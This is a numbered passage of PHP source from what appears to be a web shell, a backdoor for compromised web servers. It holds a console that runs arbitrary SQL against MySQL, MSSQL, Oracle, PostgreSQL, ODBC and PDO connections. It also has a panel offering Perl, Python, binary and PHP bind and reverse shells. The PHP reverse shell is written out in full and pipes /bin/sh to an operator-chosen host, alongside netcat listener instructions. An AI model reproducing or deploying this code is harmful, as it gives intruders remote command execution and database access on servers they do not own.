  803. <table class=\"explore\" style=\"width:99%;\"><tr>";
  804. for($i=0;$i<mssql_num_fields($hasil);$i++)
  805. $q_result .= "<th>".htmlspecialchars(mssql_field_name($hasil,$i))."</th>";
  806. $q_result .= "</tr>";
  807. while($rows=mssql_fetch_array($hasil)){
  808. $q_result .= "<tr>";
  809. for($j=0;$j<mssql_num_fields($hasil);$j++)
  810. {
  811. if($rows[$j] == "") $dataz = " ";
  812. else $dataz = $rows[$j];
  813. $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  814. }
  815. $q_result .= "</tr>";
  816. }
  817. $q_result .= "</table>";
  818. }
  819. else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  820. <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  821. }
  822. }
  823. }
  824. else $sqls = "EXEC sp_databases;";
  825.  
  826. $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  827. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  828. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  829. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  830. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  831. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  832. <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  833. <p><input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;\" />
  834. &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  835. </form>";
  836. $s_result .= "<div>".$q_result."</div>";
  837. if($con) mssql_close($con);
  838. }
  839. elseif(isset($_REQUEST['oraclecon']) && ($con = oci_connect($sqluser,$sqlpass,$hostandport))){
  840. if(isset($_REQUEST['sqlcode'])){
  841. $sqls = ss($_REQUEST['sqlcode']);
  842. $querys = explode(";",$sqls);
  843.  
  844. foreach($querys as $query){
  845. if(trim($query) != ""){
  846. $st = oci_parse($con, $query);
  847. if(oci_execute($st)){
  848. $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  849. <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  850. <table class=\"explore\" style=\"width:99%;\"><tr>";
  851. for($i=1;$i<=oci_num_fields($st);$i++)
  852. $q_result .= "<th>".htmlspecialchars(oci_field_name($st,$i))."</th>";
  853.  
  854. $q_result .= "</tr>";
  855.  
  856. while($rows=oci_fetch_array($st)){
  857. $q_result .= "<tr>";
  858. for($j=0;$j<oci_num_fields($st);$j++)
  859. {
  860. if($rows[$j] == "") $dataz = " ";
  861. else $dataz = $rows[$j];
  862. $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  863. }
  864. $q_result .= "</tr>";
  865. }
  866. $q_result .= "</table>";
  867. }
  868. else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  869. <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  870. }
  871. }
  872. }
  873. else $sqls = "SELECT * FROM user_tablespaces;";
  874.  
  875. $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  876. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  877. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  878. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  879. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  880. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  881. <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  882. <p><input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;\" />
  883. &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  884. </form>";
  885. $s_result .= "<div>".$q_result."</div>";
  886. if($con) oci_close($con);
  887. }
  888. elseif(isset($_REQUEST['pgsqlcon']) && ($con = pg_connect("host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport"))){
  889. if(isset($_REQUEST['sqlcode'])){
  890. $sqls = ss($_REQUEST['sqlcode']);
  891. $querys = explode(";",$sqls);
  892.  
  893. foreach($querys as $query){
  894. if(trim($query) != ""){
  895. $hasil = pg_query($query);
  896. if($hasil){
  897. $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  898. <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  899. <table class=\"explore\" style=\"width:99%;\"><tr>";
  900. for($i=0;$i<pg_num_fields($hasil);$i++)
  901. $q_result .= "<th>".htmlspecialchars(pg_field_name($hasil,$i))."</th>";
  902. $q_result .= "</tr>";
  903.  
  904. while($rows=pg_fetch_array($hasil)){
  905. $q_result .= "<tr>";
  906. for($j=0;$j<pg_num_fields($hasil);$j++)
  907. {
  908. if($rows[$j] == "") $dataz = " ";
  909. else $dataz = $rows[$j];
  910. $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  911. }
  912. $q_result .= "</tr>";
  913. }
  914. $q_result .= "</table>";
  915. }
  916. else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  917. <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  918. }
  919. }
  920. }
  921. }
  922. elseif(isset($_REQUEST['odbccon']) && ($con = odbc_connect($odbcdsn,$odbcuser,$odbcpass))){
  923. if(isset($_REQUEST['sqlcode'])){
  924. $sqls = ss($_REQUEST['sqlcode']);
  925. $querys = explode(";",$sqls);
  926.  
  927. foreach($querys as $query){
  928. if(trim($query) != ""){
  929. $hasil = odbc_exec($con, $query);
  930. if($hasil){
  931. $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  932. <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  933. <table class=\"explore\" style=\"width:99%;\"><tr>";
  934. for($i=1;$i<=odbc_num_fields($hasil);$i++)
  935. $q_result .= "<th>".htmlspecialchars(odbc_field_name($hasil,$i))."</th>";
  936. $q_result .= "</tr>";
  937.  
  938. while($rows=odbc_fetch_array($hasil)){
  939. $q_result .= "<tr>";
  940. foreach($rows as $r)
  941. {
  942. if($r == "") $dataz = " ";
  943. else $dataz = $r;
  944. $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  945. }
  946. $q_result .= "</tr>";
  947. }
  948. $q_result .= "</table>";
  949. }
  950. else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  951. <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  952. }
  953. }
  954. }
  955. else $sqls = "";
  956.  
  957. $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  958. <input type=\"hidden\" name=\"odbcdsn\" value=\"".$odbcdsn."\" />
  959. <input type=\"hidden\" name=\"odbcuser\" value=\"".$odbcuser."\" />
  960. <input type=\"hidden\" name=\"odbcpass\" value=\"".$odbcpass."\" />
  961. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  962. <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  963. <p><input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;\" />
  964. &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  965. </form>";
  966. $s_result .= "<div>".$q_result."</div>";
  967. if($con) odbc_close($con);
  968. }
  969. else{
  970. if(isset($_REQUEST['pdocon'])){
  971. try{
  972. // create object
  973. $mypdo = new PDO($pdodsn,$pdouser,$pdopass);
  974. if(isset($_REQUEST['sqlcode'])){
  975. $sqls = ss($_REQUEST['sqlcode']);
  976. $querys = explode(";",$sqls);
  977.  
  978. foreach($querys as $query){
  979. if(trim($query) != ""){
  980.  
  981. if($hasil = $mypdo->query($query)){
  982. $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  983. <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  984. <table class=\"explore\" style=\"width:99%;\"><tr>";
  985. // workaround to get column name
  986. $r = $hasil->fetch(PDO::FETCH_ASSOC);
  987. $savefirstrow = array();
  988. foreach($r as $fn=>$fv){
  989. $q_result .= "<th>".htmlspecialchars($fn)."</th>";
  990. $savefirstrow[] = $fv;
  991. }
  992. $q_result .= "</tr><tr>";
  993. foreach($savefirstrow as $fv){
  994. $q_result .= "<td>".htmlspecialchars($fv)."</td>";
  995. }
  996. $q_result .= "</tr>";
  997. while($rows = $hasil->fetch(PDO::FETCH_ASSOC)){
  998. $q_result .= "<tr>";
  999. foreach($rows as $r)
  1000. {
  1001. if($r == "") $dataz = " ";
  1002. else $dataz = $r;
  1003. $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  1004. }
  1005. $q_result .= "</tr>";
  1006. }
  1007. $q_result .= "</table>";
  1008. }
  1009. else{
  1010.  
  1011. $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  1012. <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  1013. }
  1014.  
  1015. $q_result .= "</table>";
  1016. }
  1017. }
  1018. }
  1019. else $sqls = "";
  1020.  
  1021. $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  1022. <input type=\"hidden\" name=\"pdodsn\" value=\"".$pdodsn."\" />
  1023. <input type=\"hidden\" name=\"pdouser\" value=\"".$pdouser."\" />
  1024. <input type=\"hidden\" name=\"pdopass\" value=\"".$pdopass."\" />
  1025. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1026. <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  1027. <p><input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;\" />
  1028. &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  1029. </form>";
  1030. $s_result .= "<div>".$q_result."</div>";
  1031. }
  1032. catch (PDOException $uck) {
  1033. die();
  1034. }
  1035. }
  1036. else{
  1037. // mysql
  1038. $s_result .= "<div class=\"mybox\"><h3>Connect to MySQL</h3>
  1039. <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1040. <table class=\"myboxtbl\">
  1041. <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost1\" value=\"".$sqlhost1."\" /></td></tr>
  1042. <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser1\" value=\"".$sqluser1."\" /></td></tr>
  1043. <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass1\" value=\"\" /></td></tr>
  1044. <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$sqlport1."\" /></td></tr>
  1045. </table>
  1046. <input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1047. </form>
  1048. </div>";
  1049. // mssql
  1050. $s_result .= "<div class=\"mybox\"><h3>Connect to MsSQL</h3>
  1051. <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1052. <table class=\"myboxtbl\">
  1053. <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost2\" value=\"".$sqlhost2."\" /></td></tr>
  1054. <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser2\" value=\"".$sqluser2."\" /></td></tr>
  1055. <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass2\" value=\"\" /></td></tr>
  1056. <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$sqlport2."\" /></td></tr>
  1057. </table>
  1058. <input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1059. </form>
  1060. </div>";
  1061.  
  1062. // postgresql
  1063. $s_result .= "<div class=\"mybox\"><h3>Connect to PostgreSQL</h3>
  1064. <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1065. <table class=\"myboxtbl\">
  1066. <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost3\" value=\"".$sqlhost3."\" /></td></tr>
  1067. <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser3\" value=\"".$sqluser3."\" /></td></tr>
  1068. <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass3\" value=\"\" /></td></tr>
  1069. <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$sqlport3."\" /></td></tr>
  1070. </table>
  1071. <input type=\"submit\" name=\"pgsqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1072. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1073. </form>
  1074. </div>";
  1075.  
  1076. // oracle
  1077. $s_result .= "<div class=\"mybox\"><h3>Connect to Oracle</h3>
  1078. <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1079. <table class=\"myboxtbl\">
  1080. <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost4\" value=\"".$sqlhost4."\" /></td></tr>
  1081. <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser4\" value=\"".$sqluser4."\" /></td></tr>
  1082. <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass4\" value=\"\" /></td></tr>
  1083. <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport4\" value=\"".$sqlport4."\" /></td></tr>
  1084. </table>
  1085. <input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1086. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1087. </form>
  1088. </div>";
  1089.  
  1090. // odbc
  1091. $s_result .= "<div class=\"mybox\"><h3>Connect using ODBC</h3>
  1092. <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1093. <table class=\"myboxtbl\">
  1094. <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcdsn\" value=\"".$odbcdsn."\" /></td></tr>
  1095. <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcuser\" value=\"".$odbcuser."\" /></td></tr>
  1096. <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"odbcpass\" value=\"\" /></td></tr>
  1097. </table>
  1098. <input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1099. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1100. </form>
  1101. </div>";
  1102.  
  1103. // pdo
  1104. $s_result .= "<div class=\"mybox\"><h3>Connect using PDO</h3>
  1105. <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1106. <table class=\"myboxtbl\">
  1107. <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdodsn\" value=\"".$pdodsn."\" /></td></tr>
  1108. <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdouser\" value=\"".$pdouser."\" /></td></tr>
  1109. <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"pdopass\" value=\"\" /></td></tr>
  1110. </table>
  1111. <input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1112. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1113. </form>
  1114. </div>";
  1115. }
  1116. }
  1117. } // bind and reverse shell
  1118. elseif(isset($_REQUEST['rs'])){
  1119. $rshost = $s_server_ip;
  1120. $rstarget = "";
  1121. $d = $pwd;
  1122. if(isset($_REQUEST['d'])) $d = ss($_REQUEST['d']);
  1123.  
  1124. $rsport = "13123";
  1125. // resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c
  1126. $rspesan = "Press &#39; Enter here ! &#39; button and run &#39; nc <i>server_ip</i> <i>port</i> &#39; on your computer";
  1127. $rspesanb = "Run &#39; nc -l -v -p <i>port</i> &#39; on your computer and press &#39; Enter here ! &#39; button";
  1128.  
  1129. $rsport1 = $rsport;
  1130. $rsport2 = $rsport;
  1131. $rsport3 = $rsport;
  1132.  
  1133. if(isset($_REQUEST['xbind_pl'])){
  1134. if(isset($_REQUEST['sqlport1'])) $rsport1 = ss($_REQUEST['sqlport1']);
  1135. $rstarget = $rsport1;
  1136. $rsres = rs($s_win, cp($d), "xbind_pl" ,$xbind_pl, $rstarget);
  1137. $s_result .= $rsres;
  1138. }
  1139. if(isset($_REQUEST['xbind_py'])){
  1140. if(isset($_REQUEST['sqlport2'])) $rsport2 = ss($_REQUEST['sqlport2']);
  1141. $rstarget = $rsport2;
  1142. $rsres = rs($s_win, cp($d), "xbind_py" ,$xmulti_py, $rstarget);
  1143. $s_result .= $rsres;
  1144. }
  1145. if(isset($_REQUEST['xbind_bin'])){
  1146. if(isset($_REQUEST['sqlport3'])) $rsport3 = ss($_REQUEST['sqlport3']);
  1147. $rstarget = $rsport3;
  1148. if(!$s_win) $rsres = rs($s_win, cp($d), "xbind_bin" ,$xbind_c, $rstarget);
  1149. else $rsres = rs($s_win, cp($d), "xbind_bin" ,$wmulti_c, $rstarget);
  1150. $s_result .= $rsres;
  1151. }
  1152.  
  1153. $rsportb1 = $rsport;
  1154. $rsportb2 = $rsport;
  1155. $rsportb3 = $rsport;
  1156. $rsportb4 = $rsport;
  1157. $rstarget1 = $s_my_ip;
  1158. $rstarget2 = $s_my_ip;
  1159. $rstarget3 = $s_my_ip;
  1160. $rstarget4 = $s_my_ip;
  1161.  
  1162. if(isset($_REQUEST['xback_pl'])){
  1163. if(isset($_REQUEST['sqlportb1'])) $rsportb1 = ss($_REQUEST['sqlportb1']);
  1164. if(isset($_REQUEST['rstarget1'])) $rstarget1 = ss($_REQUEST['rstarget1']);
  1165.  
  1166. $rstarget = $rsportb1." ".$rstarget1;
  1167. $rsres = rs($s_win, cp($d), "xback_pl" ,$xback_pl, $rstarget);
  1168. $s_result .= $rsres;
  1169.  
  1170. }
  1171. if(isset($_REQUEST['xback_py'])){
  1172. if(isset($_REQUEST['sqlportb2'])) $rsportb2 = ss($_REQUEST['sqlportb2']);
  1173. if(isset($_REQUEST['rstarget2'])) $rstarget2 = ss($_REQUEST['rstarget2']);
  1174.  
  1175. $rstarget = $rsportb2." ".$rstarget2;
  1176. $rsres = rs($s_win, cp($d), "xback_py" ,$xmulti_py, $rstarget);
  1177. $s_result .= $rsres;
  1178. }
  1179. if(isset($_REQUEST['xback_bin'])){
  1180. if(isset($_REQUEST['sqlportb3'])) $rsportb3 = ss($_REQUEST['sqlportb3']);
  1181. if(isset($_REQUEST['rstarget3'])) $rstarget3 = ss($_REQUEST['rstarget3']);
  1182.  
  1183. $rstarget = $rsportb3." ".$rstarget3;
  1184. if(!$s_win) $rsres = rs($s_win, cp($d), "xback_bin" ,$xback_c, $rstarget);
  1185. else $rsres = rs($s_win, cp($d), "xback_bin" ,$wmulti_c, $rstarget);
  1186. $s_result .= $rsres;
  1187. }
  1188. if(isset($_REQUEST['xback_php'])){
  1189. if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
  1190. if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
  1191. $ip = $rstarget4;
  1192. $port = $rsportb4;
  1193. $chunk_size = 1337;
  1194. $write_a = null;
  1195. $error_a = null;
  1196. $shell = '/bin/sh';
  1197. $daemon = 0;
  1198. $debug = 0;
  1199. if(function_exists('pcntl_fork')){
  1200. $pid = pcntl_fork();
  1201. if ($pid == -1) exit(1);
  1202. if ($pid) exit(0);
  1203. if (posix_setsid() == -1) exit(1);
  1204. $daemon = 1;
  1205. }
  1206. umask(0);
  1207. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  1208. if(!$sock) exit(1);
  1209. $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  1210. $process = proc_open($shell, $descriptorspec, $pipes);
  1211. if(!is_resource($process)) exit(1);
  1212. stream_set_blocking($pipes[0], 0);
  1213. stream_set_blocking($pipes[1], 0);
  1214. stream_set_blocking($pipes[2], 0);
  1215. stream_set_blocking($sock, 0);
  1216. while(1){
  1217. if(feof($sock)) break;
  1218. if(feof($pipes[1])) break;
  1219. $read_a = array($sock, $pipes[1], $pipes[2]);
  1220. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  1221. if(in_array($sock, $read_a)){
  1222. $input = fread($sock, $chunk_size);
  1223. fwrite($pipes[0], $input);
  1224. }
  1225. if(in_array($pipes[1], $read_a)){
  1226. $input = fread($pipes[1], $chunk_size);
  1227. fwrite($sock, $input);
  1228. }
  1229. if(in_array($pipes[2], $read_a)){
  1230. $input = fread($pipes[2], $chunk_size);
  1231. fwrite($sock, $input);
  1232. }
  1233. }
  1234. fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
  1235. proc_close($process);
  1236. $rsres = " ";
  1237. $s_result .= $rsres;
  1238. }
  1239. $s_result .= "<div class=\"mybox\"><h3>Bind shell ( perl )</h3>
  1240. <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1241. <table class=\"myboxtbl\">
  1242. <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost1\" value=\"".$rshost."\" /></td></tr>
  1243. <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$rsport1."\" /></td></tr>
  1244. </table>
  1245. <input type=\"submit\" name=\"xbind_pl\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1246. &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
  1247. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1248. </form>
  1249. </div>";
  1250. $s_result .= "<div class=\"mybox\"><h3>Bind shell ( python )</h3>
  1251. <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1252. <table class=\"myboxtbl\">
  1253. <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr>
  1254. <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$rsport2."\" /></td></tr>
  1255. </table>
  1256. <input type=\"submit\" name=\"xbind_py\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1257. &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
  1258. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1259. </form>
  1260. </div>";
  1261. $s_result .= "<div class=\"mybox\"><h3>Bind shell ( bin )</h3>
  1262. <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1263. <table class=\"myboxtbl\">
  1264. <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr>
  1265. <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$rsport3."\" /></td></tr>
  1266. </table>
  1267. <input type=\"submit\" name=\"xbind_bin\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1268. &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
  1269. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1270. </form>
  1271. </div>";
  1272. $s_result .= "<div class=\"mybox\"><h3>Reverse shell ( perl )</h3>
  1273. <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1274. <table class=\"myboxtbl\">
  1275. <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget1\" value=\"".$rstarget1."\" /></td></tr>
  1276. <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb1\" value=\"".$rsportb1."\" /></td></tr>
  1277. </table>
  1278. <input type=\"submit\" name=\"xback_pl\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1279. &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1280. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1281. </form>
  1282. </div>";
  1283. $s_result .= "<div class=\"mybox\"><h3>Reverse shell ( python )</h3>
  1284. <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1285. <table class=\"myboxtbl\">
  1286. <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget2\" value=\"".$rstarget2."\" /></td></tr>
  1287. <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb2\" value=\"".$rsportb2."\" /></td></tr>
  1288. </table>
  1289. <input type=\"submit\" name=\"xback_py\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1290. &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1291. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1292. </form>
  1293. </div>";
  1294. $s_result .= "<div class=\"mybox\"><h3>Reverse shell ( bin )</h3>
  1295. <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1296. <table class=\"myboxtbl\">
  1297. <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget3\" value=\"".$rstarget3."\" /></td></tr>
  1298. <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb3\" value=\"".$rsportb3."\" /></td></tr>
  1299. </table>
  1300. <input type=\"submit\" name=\"xback_bin\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1301. &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1302. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1303. </form>
  1304. </div>";
  1305. $s_result .= "<div class=\"mybox\"><h3>Reverse shell ( php )</h3>
  1306. <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1307. <table class=\"myboxtbl\">
  1308. <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget4\" value=\"".$rstarget4."\" /></td></tr>
  1309. <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb4\" value=\"".$rsportb4."\" /></td></tr>
  1310. </table>
  1311. <input type=\"submit\" name=\"xback_php\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1312. &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1313. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1314. </form>
  1315. </div>";
  1316. } // view file
  1317. elseif(isset($_REQUEST['view'])){
  1318. $f = ss($_REQUEST['view']);
  1319. if(isset($fnew) && (trim($fnew)!="")) $f = $fnew;
  1320.  
  1321. if(is_file($f)){
  1322. if(!$s_win && $s_posix){
  1323. $name = posix_getpwuid(fileowner($f));
  1324. $group = posix_getgrgid(filegroup($f));
  1325. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  1326. }
  1327. else {
  1328. $owner = $s_user;
  1329. }
  1330. $filn = basename($f);
